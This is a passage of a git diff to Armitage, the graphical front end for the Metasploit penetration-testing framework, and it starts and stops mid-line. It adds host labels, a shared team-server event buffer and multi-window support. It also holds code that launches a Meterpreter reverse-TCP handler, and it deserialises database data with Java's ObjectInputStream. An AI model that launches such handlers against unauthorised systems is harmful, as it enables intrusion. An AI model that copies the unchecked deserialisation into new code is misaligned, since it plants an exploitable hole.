$model $table $sorter $center $a $route $button'); - $dialog = [new JDialog: $frame, $title, 0]; + $dialog = [new JDialog: $__frame__, $title, 0]; [$dialog setSize: 320, 240]; [$dialog setLayout: [new BorderLayout]]; - [$dialog setLocationRelativeTo: $frame]; + [$dialog setLocationRelativeTo: $__frame__]; [$dialog setLayout: [new BorderLayout]]; diff --git a/external/source/armitage/scripts/reporting.sl b/external/source/armitage/scripts/reporting.sl index a6a7ac5dfb08..1995e0686ef7 100644 --- a/external/source/armitage/scripts/reporting.sl +++ b/external/source/armitage/scripts/reporting.sl @@ -182,28 +182,21 @@ sub queryData { [$progress setProgress: 30]; } - # 4. clients - %r['clients'] = call($mclient, "db.clients")["clients"]; - - if ($progress) { - [$progress setProgress: 35]; - } - - # 5. sessions... + # 4. sessions... %r['sessions'] = fixSessions(call($mclient, "db.sessions")["sessions"]); if ($progress) { [$progress setProgress: 36]; } - # 6. timeline + # 5. timeline %r['timeline'] = fixTimeline(call($mclient, "db.events")['events']); if ($progress) { [$progress setProgress: 38]; } - # 7. hosts and services + # 6. hosts and services local('@hosts @services $temp $h $s $x'); call($mclient, "armitage.prep_export", $1); @@ -291,32 +284,27 @@ sub _generateArtifacts { [$progress setProgress: 65]; - # 4. clients - dumpData("clients", @("host", "created_at", "updated_at", "ua_name", "ua_ver", "ua_string"), %data['clients']); - - [$progress setProgress: 70]; - - # 5. hosts + # 4. hosts dumpData("hosts", @("address", "mac", "state", "address", "address6", "name", "purpose", "info", "os_name", "os_flavor", "os_sp", "os_lang", "os_match", "created_at", "updated_at"), %data['hosts']); [$progress setProgress: 80]; - # 6. services + # 5. services dumpData("services", @("host", "port", "state", "proto", "name", "created_at", "updated_at", "info"), %data['services']); [$progress setProgress: 90]; - # 7. sessions + # 6. sessions dumpData("sessions", @("host", "local_id", "stype", "platform", "via_payload", "via_exploit", "opened_at", "last_seen", "closed_at", "close_reason"), %data['sessions']); [$progress setProgress: 93]; - # 8. timeline + # 7. timeline dumpData("timeline", @("source", "username", "created_at", "info"), %data['timeline']); [$progress setProgress: 96]; - # 9. take a pretty screenshot of the graph view... + # 8. take a pretty screenshot of the graph view... [$progress setNote: "host picture :)"]; makeScreenshot("hosts.png"); @@ -330,7 +318,7 @@ sub _generateArtifacts { fire_event_async("user_export", %data); - return getFileProper(dataDirectory(), formatDate("yyMMdd"), "artifacts"); + return getFileProper(dataDirectory(), formatDate("yyMMdd"), $DESCRIBE, "artifacts"); } # @@ -368,8 +356,6 @@ sub api_export_data { } sub initReporting { - global('$poll_lock @events'); # set in the dserver, not in stand-alone Armitage - wait(fork({ global('$db'); [$client addHook: "armitage.export_data", &api_export_data]; diff --git a/external/source/armitage/scripts/server.sl b/external/source/armitage/scripts/server.sl index 78f9738dbba7..4dcf4cd84d1d 100644 --- a/external/source/armitage/scripts/server.sl +++ b/external/source/armitage/scripts/server.sl @@ -35,9 +35,7 @@ sub result { sub event { local('$result'); $result = formatDate("HH:mm:ss") . " $1"; - acquire($poll_lock); - push(@events, $result); - release($poll_lock); + [$events put: $result]; } sub client { @@ -96,16 +94,6 @@ sub client { [[$handle getOutputStream] flush]; } - # limit our replay of the event log to 100 events... - acquire($poll_lock); - if (size(@events) > 100) { - $index = size(@events) - 100; - } - else { - $index = 0; - } - release($poll_lock); - # # on our merry way processing it... # @@ -183,33 +171,30 @@ sub client { else if ($method eq "armitage.log") { ($data, $address) = $args; event("* $eid $data $+ \n"); + if ($address is $null) { + $address = [$client getLocalAddress]; + } call_async($client, "db.log_event", "$address $+ // $+ $eid", $data); writeObject($handle, result(%())); } else if ($method eq "armitage.skip") { - acquire($poll_lock); - $index = size(@events); - release($poll_lock); + [$events get: $eid]; writeObject($handle, result(%())); } else if ($method eq "armitage.poll" || $method eq "armitage.push") { - acquire($poll_lock); if ($method eq "armitage.push") { ($null, $data) = $args; foreach $temp (split("\n", $data)) { - push(@events, formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data); + [$events put: formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data]; } } - if (size(@events) > $index) { - $rv = result(%(data => join("", sublist(@events, $index)), encoding => "base64", prompt => "$eid $+ > ")); - $index = size(@events); - } - else { - $rv = result(%(data => "", prompt => "$eid $+ > ", encoding => "base64")); - } - release($poll_lock); - + $rv = result(%(data => [$events get: $eid], encoding => "base64", prompt => "$eid $+ > ")); + writeObject($handle, $rv); + } + else if ($method eq "armitage.lusers") { + $rv = [new HashMap]; + [$rv put: "lusers", [$events clients]]; writeObject($handle, $rv); } else if ($method eq "armitage.append") { @@ -308,6 +293,10 @@ sub client { $response = [$client execute: $method, cast($args, ^Object)]; writeObject($handle, $response); } + else if ($method eq "module.execute_direct") { + $response = [$client execute: "module.execute", cast($args, ^Object)]; + writeObject($handle, $response); + } else if ($method in %async) { if ($args) { [$client execute_async: $method, cast($args, ^Object)]; @@ -333,6 +322,7 @@ sub client { if ($eid !is $null) { event("*** $eid left.\n"); + [$events free: $eid]; } # reset the user's filter... @@ -355,7 +345,7 @@ sub client { sub main { global('$client $mclient'); - local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache $handle $console'); + local('$server %sessions $sess_lock $read_lock $lock_lock %locks %readq $id $error $auth %cache $cach_lock $client_cache $handle $console $events'); $auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0]; @@ -403,9 +393,6 @@ sub main { # we need this global to be set so our reverse listeners work as expected. $MY_ADDRESS = $host; - # make sure clients know a team server is present. can't happen async. - call($client, "core.setg", "ARMITAGE_TEAM", '1'); - # # setup the client cache # @@ -416,10 +403,12 @@ sub main { # $sess_lock = semaphore(1); $read_lock = semaphore(1); - $poll_lock = semaphore(1); $lock_lock = semaphore(1); $cach_lock = semaphore(1); + # setup any shared buffers... + $events = [new armitage.ArmitageBuffer: 250]; + # set the LHOST to whatever the user specified (use console.write to make the string not UTF-8) $console = createConsole($client); call($client, "console.write", $console, "setg LHOST $host $+ \n"); @@ -427,6 +416,9 @@ sub main { # absorb the output of this command which is LHOST => ... call($client, "console.read", $console); + # update server's understanding of this value... + call($client, "armitage.set_ip", $host); + # # create a thread to push console messages to the event queue for all clients. # @@ -436,12 +428,10 @@ sub main { sleep(2000); $r = call($client, "console.read", $console); if ($r["data"] ne "") { - acquire($poll_lock); - push(@events, formatDate("HH:mm:ss") . " " . $r["data"]); - release($poll_lock); + [$events put: formatDate("HH:mm:ss") . " " . $r["data"]]; } } - }, \$client, \$poll_lock, \@events, \$console); + }, \$client, \$events, \$console); # # Create a shared hash that contains a thread for each session... @@ -538,7 +528,7 @@ service framework-postgres start"); $handle = [$server accept]; if ($handle !is $null) { %readq[$id] = %(); - fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, \$poll_lock, $queue => %readq[$id], \$id, \@events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass); + fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, $queue => %readq[$id], \$id, \$events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass); $id++; } diff --git a/external/source/armitage/scripts/targets.sl b/external/source/armitage/scripts/targets.sl index 7929dac69635..797174c255d2 100644 --- a/external/source/armitage/scripts/targets.sl +++ b/external/source/armitage/scripts/targets.sl @@ -21,6 +21,10 @@ sub getHostOS { return iff($1 in %hosts, %hosts[$1]['os_name'], $null); } +sub getHostLabel { + return iff($1 in %hosts, %hosts[$1]['label'], $null); +} + sub getSessions { return iff($1 in %hosts && 'sessions' in %hosts[$1], %hosts[$1]['sessions']); } @@ -122,7 +126,7 @@ on sessions { } if ($host['show'] eq "1") { - push(@nodes, @($id, describeHost($host), showHost($host), $tooltip)); + push(@nodes, @($id, $host['label'] . "", describeHost($host), showHost($host), $tooltip)); } } @@ -130,14 +134,14 @@ on sessions { } sub refreshGraph { - local('$node $id $description $icons $tooltip $highlight'); + local('$node $id $label $description $icons $tooltip $highlight'); # update everything... [$graph start]; # do the hosts? foreach $node (@nodes) { - ($id, $description, $icons, $tooltip) = $node; - [$graph addNode: $id, $description, $icons, $tooltip]; + ($id, $label, $description, $icons, $tooltip) = $node; + [$graph addNode: $id, $label, $description, $icons, $tooltip]; } # update the routes @@ -189,6 +193,11 @@ on hosts { $address = $host['address']; if ($address in %hosts && size(%hosts[$address]) > 1) { %newh[$address] = %hosts[$address]; + + # set the label to empty b/c team server won't add labels if there are no labels. This fixes + # a corner case where a user might clear all labels and find they won't go away + %newh[$address]['label'] = ''; + putAll(%newh[$address], keys($host), values($host)); if ($host['os_name'] eq "") { @@ -258,7 +267,7 @@ sub _importHosts { } $console = createDisplayTab("Import", $file => "import"); - [$console addCommand: $null, "db_import " . strrep(join(" ", $files), "\\", "\\\\")]; + [$console addCommand: 'x', "db_import " . strrep(join(" ", $files), "\\", "\\\\")]; [$console addListener: lambda({ elog("imported hosts from $success file" . iff($success != 1, "s")); }, \$success)]; @@ -342,8 +351,10 @@ sub clearHostFunction { } sub clearDatabase { - elog("cleared the database"); - call_async($mclient, "db.clear"); + if (!askYesNo("This action will clear the database. You will lose all information\ncollected up to this point. You will not be able toget it back.\nWould you like to clear the database?", "Clear Database")) { + elog("cleared the database"); + call_async($mclient, "db.clear"); + } } # called when a target is clicked on... diff --git a/external/source/armitage/scripts/util.sl b/external/source/armitage/scripts/util.sl index ceed745950e1..b226c1edc280 100644 --- a/external/source/armitage/scripts/util.sl +++ b/external/source/armitage/scripts/util.sl @@ -151,6 +151,11 @@ sub createConsoleTab { } sub setg { + # update team server's understanding of LHOST + if ($1 eq "LHOST") { + call_async($client, "armitage.set_ip", $2); + } + %MSF_GLOBAL[$1] = $2; local('$c'); $c = createConsole($client); @@ -159,12 +164,15 @@ sub setg { } sub createDefaultHandler { - warn("Creating a default reverse handler..."); # setup a handler for meterpreter - setg("LPORT", randomPort()); + local('$port'); + $port = randomPort(); + setg("LPORT", $port); + warn("Creating a default reverse handler... 0.0.0.0: $+ $port"); call_async($client, "module.execute", "exploit", "multi/handler", %( PAYLOAD => "windows/meterpreter/reverse_tcp", LHOST => "0.0.0.0", + LPORT => $port, ExitOnSession => "false" )); } @@ -307,7 +315,12 @@ sub startMetasploit { savePreferences(); } - $handle = [SleepUtils getIOHandle: resource("resources/msfrpcd.bat"), $null]; + if ("*apps*pro*" iswm $msfdir) { + $handle = [SleepUtils getIOHandle: resource("resources/msfrpcd_new.bat"), $null]; + } + else { + $handle = [SleepUtils getIOHandle: resource("resources/msfrpcd.bat"), $null]; + } $data = join("\r\n", readAll($handle, -1)); closef($handle); @@ -373,7 +386,7 @@ sub connectDialog { $msfrpc_handle = $null; } - local('$dialog $host $port $ssl $user $pass $button $cancel $start $center $help $helper'); + local('$dialog $host $port $ssl $user $pass $button $start $center $help $helper'); $dialog = window("Connect...", 0, 0); # setup our nifty form fields.. @@ -390,8 +403,6 @@ sub connectDialog { $help = [new JButton: "Help"]; [$help setToolTipText: "Use this button to view the Getting Started Guide on the Armitage homepage"]; - $cancel = [new JButton: "Exit"]; - # lay them out $center = [new JPanel]; @@ -414,9 +425,14 @@ sub connectDialog { ($h, $p, $u, $s) = @o; [$dialog setVisible: 0]; - connectToMetasploit($h, $p, $u, $s); - if ($h eq "127.0.0.1" || $h eq "localhost") { + if ($h eq "127.0.0.1" || $h eq "::1" || $h eq "localhost") { + if ($__frame__ && [$__frame__ checkLocal]) { + showError("You can't connect to localhost twice"); + [$dialog setVisible: 1]; + return; + } + try { closef(connect("127.0.0.1", $p, 1000)); } @@ -426,37 +442,33 @@ sub connectDialog { } } } + + connectToMetasploit($h, $p, $u, $s); }, \$dialog, \$host, \$port, \$user, \$pass)]; [$help addActionListener: gotoURL("http://www.fastandeasyhacking.com/start")]; - [$cancel addActionListener: { - [System exit: 0]; - }]; - [$dialog pack]; [$dialog setLocationRelativeTo: $null]; [$dialog setVisible: 1]; } -sub _elog { +sub elog { + local('$2'); if ($client !is $mclient) { + # $2 can be NULL here. team server will populate it... call_async($mclient, "armitage.log", $1, $2); } else { + # since we're not on a team server, no one else will have + # overwritten LHOST, so we can trust $MY_ADDRESS to be current + if ($2 is $null) { + $2 = $MY_ADDRESS; + } call_async($client, "db.log_event", "$2 $+ //", $1); } } -sub elog { - local('$2'); - if ($2 is $null) { - $2 = $MY_ADDRESS; - } - - _elog($1, $2); -} - sub module_execute { return invoke(&_module_execute, filter_data_array("user_launch", @_)); } diff --git a/external/source/armitage/scripts/workspaces.sl b/external/source/armitage/scripts/workspaces.sl index 90c1210b50dd..5a45900654f9 100644 --- a/external/source/armitage/scripts/workspaces.sl +++ b/external/source/armitage/scripts/workspaces.sl @@ -33,7 +33,7 @@ sub listWorkspaces { $dialog = [new JPanel]; [$dialog setLayout: [new BorderLayout]]; - ($table, $model) = setupTable("name", @("name", "hosts", "ports", "os", "session"), @()); + ($table, $model) = setupTable("name", @("name", "hosts", "ports", "os", "labels", "session"), @()); updateWorkspaceList($table, $model); [$table setSelectionMode: [ListSelectionModel MULTIPLE_INTERVAL_SELECTION]]; @@ -88,15 +88,16 @@ sub workspaceDialog { local('$table $model'); ($table, $model) = $2; - local('$dialog $name $host $ports $os $button $session'); + local('$dialog $name $host $ports $os $button $session $label'); $dialog = dialog($title, 640, 480); - [$dialog setLayout: [new GridLayout: 6, 1]]; + [$dialog setLayout: [new GridLayout: 7, 1]]; $name = [new ATextField: $1['name'], 16]; [$name setEnabled: $enable]; $host = [new ATextField: $1['hosts'], 16]; $ports = [new ATextField: $1['ports'], 16]; $os = [new ATextField: $1['os'], 16]; + $label = [new ATextField: $1['labels'], 16]; $session = [new JCheckBox: "Hosts with sessions only"]; if ($1['session'] eq 1) { [$session setSelected: 1]; @@ -108,6 +109,7 @@ sub workspaceDialog { [$dialog add: label_for("Hosts:", 60, $host)]; [$dialog add: label_for("Ports:", 60, $ports)]; [$dialog add: label_for("OS:", 60, $os)]; + [$dialog add: label_for("Labels:", 60, $label)]; [$dialog add: $session]; [$dialog add: center($button)]; @@ -116,15 +118,16 @@ sub workspaceDialog { [$button addActionListener: lambda({ # yay, we have a dialog... - local('$n $h $p $o $s @workspaces $ws $temp'); + local('$n $h $p $o $s $l @workspaces $ws $temp'); $n = [[$name getText] trim]; $h = [strrep([$host getText], '*', '%', '?', '_') trim]; $p = [[$ports getText] trim]; $o = [strrep([$os getText], '*', '%', '?', '_') trim]; + $l = [[$label getText] trim]; $s = [$session isSelected]; # save the new menu - $ws = workspace($n, $h, $p, $o, $s); + $ws = workspace($n, $h, $p, $o, $s, $l); @workspaces = workspaces(); foreach $temp (@workspaces) { if ($temp["name"] eq $n) { @@ -140,7 +143,7 @@ sub workspaceDialog { updateWorkspaceList($table, $model); [$dialog setVisible: 0]; - }, \$dialog, \$host, \$ports, \$os, \$name, \$session, \$table, \$model)]; + }, \$dialog, \$host, \$ports, \$os, \$name, \$session, \$table, \$model, \$label)]; } sub reset_workspace { @@ -199,16 +202,16 @@ sub set_workspace { } sub workspace { - return ohash(name => $1, hosts => $2, ports => $3, os => $4, session => $5); + return ohash(name => $1, hosts => $2, ports => $3, os => $4, session => $5, labels => $6); } sub workspaces { - local('$ws @r $name $host $port $os $session $workspace'); + local('$ws @r $name $host $port $os $session $workspace $label'); $ws = split("!!", [$preferences getProperty: "armitage.workspaces.menus", ""]); foreach $workspace ($ws) { if ($workspace ne "") { - ($name, $host, $port, $os, $session) = split('@@', $workspace); - push(@r, workspace($name, $host, $port, $os, $session)); + ($name, $host, $port, $os, $session, $label) = split('@@', $workspace); + push(@r, workspace($name, $host, $port, $os, $session, $label)); } } return @r; diff --git a/external/source/armitage/src/armitage/ArmitageApplication.java b/external/source/armitage/src/armitage/ArmitageApplication.java index aec7602dd01b..84fe420c76c7 100644 --- a/external/source/armitage/src/armitage/ArmitageApplication.java +++ b/external/source/armitage/src/armitage/ArmitageApplication.java @@ -13,13 +13,32 @@ import ui.*; -public class ArmitageApplication extends JFrame { +public class ArmitageApplication extends JComponent { protected JTabbedPane tabs = null; protected JSplitPane split = null; protected JMenuBar menus = new JMenuBar(); protected ScreenshotManager screens = null; protected KeyBindings keys = new KeyBindings(); protected MenuBuilder builder = null; + protected String title = ""; + protected MultiFrame window = null; + + public KeyBindings getBindings() { + return keys; + } + + public void setTitle(String title) { + this.title = title; + window.setTitle(this, title); + } + + public String getTitle() { + return title; + } + + public void setIconImage(Image blah) { + window.setIconImage(blah); + } public void setScreenshotManager(ScreenshotManager m) { screens = m; @@ -192,10 +211,11 @@ public void popAppTab(Component tab) { /* pop goes the tab! */ final JFrame r = new JFrame(t.title); - r.setIconImages(getIconImages()); + //r.setIconImages(getIconImages()); r.setLayout(new BorderLayout()); r.add(t.component, BorderLayout.CENTER); r.pack(); + t.component.validate(); r.addWindowListener(new WindowAdapter() { public void windowClosing(WindowEvent ev) { @@ -365,8 +385,20 @@ public void componentShown(ComponentEvent ev) { component.requestFocusInWindow(); } - public ArmitageApplication() { + public void touch() { + Component c = tabs.getSelectedComponent(); + if (c == null) + return; + + if (c instanceof Activity) + ((Activity)c).resetNotification(); + + c.requestFocusInWindow(); + } + + public ArmitageApplication(MultiFrame f, String details, msf.RpcConnection conn) { super(); + window = f; tabs = new DraggableTabbedPane(); setLayout(new BorderLayout()); @@ -382,10 +414,8 @@ public ArmitageApplication() { /* add our tabbed pane */ add(split, BorderLayout.CENTER); - /* setup our key bindings */ - KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(keys); - /* ... */ - setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + //setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + ((ui.MultiFrame)window).addButton(details, this, conn); } } diff --git a/external/source/armitage/src/armitage/ArmitageBuffer.java b/external/source/armitage/src/armitage/ArmitageBuffer.java new file mode 100644 index 000000000000..22731f671f3f --- /dev/null +++ b/external/source/armitage/src/armitage/ArmitageBuffer.java @@ -0,0 +1,138 @@ +package armitage; + +import java.util.*; + +/* + * Implement a thread safe store that any client may write to and + * any client may read from (keeping track of their cursor into + * the console) + */ +public class ArmitageBuffer { + private static final class Message { + public String message = null; + public Message next = null; + } + + /* store our messages... */ + public Message first = null; + public Message last = null; + public long size = 0; + public long max = 0; + public String prompt = ""; + + /* store indices into this buffer */ + public Map indices = new HashMap(); + + /* setup the buffer?!? :) */ + public ArmitageBuffer(long max) { + this.max = max; + } + + /* store a prompt with this buffer... we're not going to do any indexing magic for now */ + public String getPrompt() { + synchronized (this) { + return prompt; + } + } + + /* set the prompt */ + public void setPrompt(String text) { + synchronized (this) { + prompt = text; + } + } + + /* post a message to this buffer */ + public void put(String text) { + synchronized (this) { + /* create our message */ + Message m = new Message(); + m.message = text; + + /* store our message */ + if (last == null && first == null) { + first = m; + last = m; + } + else { + last.next = m; + last = m; + } + + /* increment number of stored messages */ + size += 1; + + /* limit the total number of past messages to the max size */ + if (size > max) { + first = first.next; + } + } + } + + /* retrieve a set of all clients consuming this buffer */ + public Collection clients() { + synchronized (this) { + LinkedList clients = new LinkedList(indices.keySet()); + return clients; + } + } + + /* free a client */ + public void free(String id) { + synchronized (this) { + indices.remove(id); + } + } + + /* reset our indices too */ + public void reset() { + synchronized (this) { + first = null; + last = null; + indices.clear(); + size = 0; + } + } + + /* retrieve all messages available to the client (if any) */ + public String get(String id) { + synchronized (this) { + /* nadaz */ + if (first == null) + return ""; + + /* get our index into the buffer */ + Message index = null; + if (!indices.containsKey(id)) { + index = first; + } + else { + index = (Message)indices.get(id); + + /* nothing happening */ + if (index.next == null) + return ""; + + index = index.next; + } + + /* now let's walk through it */ + StringBuffer result = new StringBuffer(); + Message temp = index; + while (temp != null) { + result.append(temp.message); + index = temp; + temp = temp.next; + } + + /* store our index */ + indices.put(id, index); + + return result.toString(); + } + } + + public String toString() { + return "[" + size + " messages]"; + } +} diff --git a/external/source/armitage/src/armitage/ArmitageMain.java b/external/source/armitage/src/armitage/ArmitageMain.java index 3feb310ee081..eb8d8295c219 100644 --- a/external/source/armitage/src/armitage/ArmitageMain.java +++ b/external/source/armitage/src/armitage/ArmitageMain.java @@ -9,10 +9,10 @@ import sleep.parser.ParserConfig; import java.util.*; - import java.io.*; import cortana.core.*; +import ui.*; /** * This class launches Armitage and loads the scripts that are part of it. @@ -101,7 +101,7 @@ protected String[] getServerScripts() { }; } - public ArmitageMain(String[] args) { + public ArmitageMain(String[] args, MultiFrame window, boolean serverMode) { /* tweak the parser to recognize a few useful escapes */ ParserConfig.installEscapeConstant('c', console.Colors.color + ""); ParserConfig.installEscapeConstant('U', console.Colors.underline + ""); @@ -118,15 +118,6 @@ public ArmitageMain(String[] args) { ScriptLoader loader = new ScriptLoader(); loader.addSpecificBridge(this); - /* check for server mode option */ - boolean serverMode = false; - - int x = 0; - for (x = 0; x < args.length; x++) { - if (args[x].equals("--server")) - serverMode = true; - } - /* setup Cortana event and filter bridges... we will install these into Armitage */ if (!serverMode) { @@ -135,6 +126,7 @@ public ArmitageMain(String[] args) { variables.putScalar("$__events__", SleepUtils.getScalar(events)); variables.putScalar("$__filters__", SleepUtils.getScalar(filters)); + variables.putScalar("$__frame__", SleepUtils.getScalar(window)); loader.addGlobalBridge(events.getBridge()); loader.addGlobalBridge(filters.getBridge()); @@ -142,7 +134,7 @@ public ArmitageMain(String[] args) { /* load the appropriate scripts */ String[] scripts = serverMode ? getServerScripts() : getGUIScripts(); - + int x = -1; try { for (x = 0; x < scripts.length; x++) { InputStream i = this.getClass().getClassLoader().getResourceAsStream(scripts[x]); @@ -161,6 +153,23 @@ public ArmitageMain(String[] args) { } public static void main(String args[]) { - new ArmitageMain(args); + /* check for server mode option */ + boolean serverMode = false; + + int x = 0; + for (x = 0; x < args.length; x++) { + if (args[x].equals("--server")) + serverMode = true; + } + + /* setup our armitage instance */ + if (serverMode) { + new ArmitageMain(args, null, serverMode); + } + else { + MultiFrame.setupLookAndFeel(); + MultiFrame frame = new MultiFrame(); + new ArmitageMain(args, frame, serverMode); + } } } diff --git a/external/source/armitage/src/armitage/EventLogTabCompletion.java b/external/source/armitage/src/armitage/EventLogTabCompletion.java new file mode 100644 index 000000000000..6fa7fddee848 --- /dev/null +++ b/external/source/armitage/src/armitage/EventLogTabCompletion.java @@ -0,0 +1,60 @@ +package armitage; + +import console.Console; +import msf.*; +import java.util.*; +import java.awt.*; +import java.awt.event.*; +import javax.swing.*; + +import java.io.IOException; + +public class EventLogTabCompletion extends GenericTabCompletion { + protected RpcConnection connection; + + public EventLogTabCompletion(Console window, RpcConnection connection) { + super(window); + this.connection = connection; + } + + public Collection getOptions(String text) { + try { + Map response = (Map)connection.execute("armitage.lusers", new Object[] {}); + + if (response.get("lusers") == null) + return null; + + Iterator users = ((Collection)response.get("lusers")).iterator(); + + LinkedList options = new LinkedList(); + String word; + String pre; + + if (text.endsWith(" ")) { + word = ""; + pre = text; + } + if (text.lastIndexOf(" ") != -1) { + word = text.substring(text.lastIndexOf(" ") + 1); + pre = text.substring(0, text.lastIndexOf(" ") + 1); + } + else { + word = text; + pre = ""; + } + + while (users.hasNext()) { + String user = users.next() + ""; + if (user.startsWith(word)) { + options.add(pre + user); + } + } + + return options; + } + catch (IOException ioex) { + ioex.printStackTrace(); + } + return null; + } +} diff --git a/external/source/armitage/src/cortana/Loader.java b/external/source/armitage/src/cortana/Loader.java index a0a8a8c3c065..d5c76d836df0 100644 --- a/external/source/armitage/src/cortana/Loader.java +++ b/external/source/armitage/src/cortana/Loader.java @@ -15,7 +15,7 @@ public class Loader implements Loadable { protected ScriptLoader loader; protected Hashtable shared = new Hashtable(); protected ScriptVariables vars = new ScriptVariables(); - protected Object[] passMe = new Object[2]; + protected Object[] passMe = new Object[3]; protected List scripts = new LinkedList(); public void unsetDebugLevel(int flag) { @@ -51,10 +51,11 @@ public boolean isReady() { } } - public void passObjects(Object o, Object p) { + public void passObjects(Object o, Object p, Object q) { synchronized (this) { passMe[0] = o; passMe[1] = p; + passMe[2] = q; } } diff --git a/external/source/armitage/src/cortana/Main.java b/external/source/armitage/src/cortana/Main.java index be70944f5d2e..be04c511a31e 100644 --- a/external/source/armitage/src/cortana/Main.java +++ b/external/source/armitage/src/cortana/Main.java @@ -69,7 +69,7 @@ public void start(String host, String port, String user, String pass, String nic try { Object conns[] = setupConnections(host, port, user, pass, nick); //new MsgRpcImpl(user, pass, host, Integer.parseInt(port), true, false); - engine = new Cortana((RpcConnection)conns[0], (RpcConnection)conns[1], scripts, host); + engine = new Cortana((RpcConnection)conns[0], (RpcConnection)conns[1], scripts, (String)conns[2]); new Thread(this).start(); } catch (java.lang.RuntimeException rex) { diff --git a/external/source/armitage/src/graph/NetworkGraph.java b/external/source/armitage/src/graph/NetworkGraph.java index fa9b0e7eef5a..d15d67b3acc5 100644 --- a/external/source/armitage/src/graph/NetworkGraph.java +++ b/external/source/armitage/src/graph/NetworkGraph.java @@ -453,17 +453,26 @@ public void setRoutes(Route[] routes) { protected Map tooltips = new HashMap(); - public Object addNode(String id, String label, Image image, String tooltip) { + public Object addNode(String id, String label, String description, Image image, String tooltip) { nodeImages.put(id, image); + if (label.length() > 0) { + if (description.length() > 0) { + description += "\n" + label; + } + else { + description = label; + } + } + mxCell cell; if (!nodes.containsKey(id)) { - cell = (mxCell)graph.insertVertex(parent, id, label, 0, 0, 125, 97); + cell = (mxCell)graph.insertVertex(parent, id, description, 0, 0, 125, 97); nodes.put(id, cell); } else { cell = (mxCell)nodes.get(id); - cell.setValue(label); + cell.setValue(description); } nodes.touch(id); diff --git a/external/source/armitage/src/msf/DatabaseImpl.java b/external/source/armitage/src/msf/DatabaseImpl.java index ba7b330d590c..ee58207c2e7d 100644 --- a/external/source/armitage/src/msf/DatabaseImpl.java +++ b/external/source/armitage/src/msf/DatabaseImpl.java @@ -14,11 +14,15 @@ public class DatabaseImpl implements RpcConnection { protected String workspaceid = "0"; protected String hFilter = null; protected String sFilter = null; + protected String[] lFilter = null; protected Route[] rFilter = null; protected String[] oFilter = null; protected int hindex = 0; protected int sindex = 0; + /* keep track of labels associated with each host */ + protected Map labels = new HashMap(); + /* define the maximum hosts in a workspace */ protected int maxhosts = 512; @@ -135,6 +139,20 @@ private boolean checkRoute(String address) { return false; } + private boolean checkLabel(String host) { + if (!labels.containsKey(host)) + return false; + + String label_l = (labels.get(host) + "").toLowerCase(); + + for (int x = 0; x < lFilter.length; x++) { + if (label_l.indexOf(lFilter[x]) != -1) { + return true; + } + } + return false; + } + private boolean checkOS(String os) { String os_l = os.toLowerCase(); @@ -145,11 +163,76 @@ private boolean checkOS(String os) { return false; } + protected void loadLabels() { + try { + /* query database for label data */ + List rows = executeQuery("SELECT DISTINCT data FROM notes WHERE ntype = 'armitage.labels'"); + if (rows.size() == 0) + return; + + /* extract our BASE64 encoded data */ + String data = ((Map)rows.get(0)).get("data") + ""; + System.err.println("Read: " + data.length() + " bytes"); + + /* turn our data into raw data */ + byte[] raw = Base64.decode(data); + + /* deserialize our notes data */ + ByteArrayInputStream store = new ByteArrayInputStream(raw); + ObjectInputStream handle = new ObjectInputStream(store); + Map temp = (Map)(handle.readObject()); + handle.close(); + store.close(); + + /* merge with our new map */ + labels.putAll(temp); + } + catch (Exception ex) { + ex.printStackTrace(); + } + } + + protected void mergeLabels(Map l) { + /* accept any label values and merge them into our global data set */ + Iterator i = l.entrySet().iterator(); + while (i.hasNext()) { + Map.Entry entry = (Map.Entry)i.next(); + if ("".equals(entry.getValue())) { + labels.remove(entry.getKey() + ""); + } + else { + labels.put(entry.getKey() + "", entry.getValue() + ""); + } + } + } + + /* add labels to our hosts */ + public List addLabels(List rows) { + if (labels.size() == 0) + return rows; + + Iterator i = rows.iterator(); + while (i.hasNext()) { + Map entry = (Map)i.next(); + String address = (entry.containsKey("address") ? entry.get("address") : entry.get("host")) + ""; + if (labels.containsKey(address)) { + entry.put("label", labels.get(address) + ""); + } + else { + entry.put("label", ""); + } + } + + return rows; + } + public List filterByRoute(List rows, int max) { - if (rFilter != null || oFilter != null) { + if (rFilter != null || oFilter != null || lFilter != null) { Iterator i = rows.iterator(); while (i.hasNext()) { Map entry = (Map)i.next(); + + /* make sure the address is within a route we care about */ if (rFilter != null && entry.containsKey("address")) { if (!checkRoute(entry.get("address") + "")) { i.remove(); @@ -163,9 +246,26 @@ else if (rFilter != null && entry.containsKey("host")) { } } + /* make sure the host is something we care about too */ if (oFilter != null && entry.containsKey("os_name")) { - if (!checkOS(entry.get("os_name") + "")) + if (!checkOS(entry.get("os_name") + "")) { i.remove(); + continue; + } + } + + /* make sure the host has the right label */ + if (lFilter != null && entry.containsKey("address")) { + if (!checkLabel(entry.get("address") + "")) { + i.remove(); + continue; + } + } + else if (lFilter != null && entry.containsKey("host")) { + if (!checkLabel(entry.get("host") + "")) { + i.remove(); + continue; + } } } @@ -180,6 +280,7 @@ else if (rFilter != null && entry.containsKey("host")) { public void connect(String dbstring, String user, String password) throws Exception { db = DriverManager.getConnection(dbstring, user, password); setWorkspace("default"); + loadLabels(); } public Object execute(String methodName) throws IOException { @@ -192,8 +293,8 @@ protected Map build() { /* this is an optimization. If we have a network or OS filter, we need to pull back all host/service records and filter them here. If we do not have these types of filters, then we can let the database do the heavy lifting and limit the size of the final result there. */ - int limit1 = rFilter == null && oFilter == null ? maxhosts : 30000; - int limit2 = rFilter == null && oFilter == null ? maxservices : 100000; + int limit1 = rFilter == null && oFilter == null && lFilter == null ? maxhosts : 30000; + int limit2 = rFilter == null && oFilter == null && lFilter == null ? maxservices : 100000; temp.put("db.creds", "SELECT DISTINCT creds.*, hosts.address as host, services.name as sname, services.port as port, services.proto as proto FROM creds, services, hosts WHERE 